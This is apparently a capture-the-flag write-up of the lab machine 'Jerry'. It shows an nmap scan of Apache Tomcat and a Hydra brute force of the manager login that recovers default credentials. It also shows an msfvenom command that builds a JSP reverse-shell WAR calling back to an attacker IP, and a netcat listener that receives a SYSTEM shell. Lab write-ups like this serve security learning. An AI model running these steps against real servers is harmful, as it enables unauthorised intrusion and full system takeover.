# Jerry

## Scanning and Enumeration&#x20;

```
└─$ nmap -sC -sV -p 8080 10.10.10.95 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-14 17:04 EST
Nmap scan report for 10.10.10.95
Host is up (0.10s latency).

PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.02 seconds
```

## Web Page found

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MTctBv4TtLV1IcaR5o7%2F-MTctIKeKjd98X7YhTwq%2Fimage.png?alt=media\&token=4e5023c7-7cc3-414f-9e98-298455bba3f1)

## Found Credentials

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MTctBv4TtLV1IcaR5o7%2F-MTctYOpKm-wiLeFcfVk%2Fimage.png?alt=media\&token=45497426-b9df-4807-9b0c-fa7c9af01ca1)

## Attempting Brute Force with HYDRA

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MTctBv4TtLV1IcaR5o7%2F-MTctoK6BoE9dR2pI6cP%2Fimage.png?alt=media\&token=eca99f1b-62e5-40cd-af2f-defd2cef4349)

```
wordlist brute force with Hydra
	apt install seclists
	find . | grep -i tomcat
	hydra -h 
└─$ HYDRA_PROXY_HTTP=http://127.0.0.1:8080 hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt -s 8080 10.10.10.95 http-get /manager/html 
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-02-15 22:49:54
[INFO] Using HTTP Proxy: http://127.0.0.1:8080
[DATA] max 16 tasks per 1 server, overall 16 tasks, 79 login tries, ~5 tries per task
[DATA] attacking http-get://10.10.10.95:8080/manager/html
[8080][http-get] host: 10.10.10.95   login: admin   password: admin
[8080][http-get] host: 10.10.10.95   login: admin   password: admin
[8080][http-get] host: 10.10.10.95   login: tomcat   password: s3cret
[8080][http-get] host: 10.10.10.95   login: tomcat   password: s3cret
1 of 1 target successfully completed, 4 valid passwords found
```

As you can see, we were able to obtain 2 credentials, both of which were found. We forwarded our request to the burp proxy.

Enumerating the webpage we find something speacial, an upload section. We can also tell that this is a windows machine. Take a look here.&#x20;

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MTctBv4TtLV1IcaR5o7%2F-MTcyPppUdp_JPrxqiIE%2Fimage.png?alt=media\&token=a53843b8-ebfe-4f60-86d3-5cd5bcc6eb51)

Lets try to upload a war file. Note, that a war file is like a zip file so we may have to find a jsp file, which are included in war files and make sure that that jsp file is a spooky file.&#x20;

## Generating a shell and establishing connection

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.31 LPORT=9001 -f war > shell.war

set up listener
nc -lvnp 9001
└─$ nc -lvnp 9001                                      
listening on [any] 9001 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.10.95] 49192
Microsoft Windows [Version 6.3.9600]                                                                              
(c) 2013 Microsoft Corporation. All rights reserved.                                                              
                                                                                                                  
C:\apache-tomcat-7.0.88>whoami                                                                                    
whoami                                                                                                            
nt authority\system

C:\apache-tomcat-7.0.88>   


```
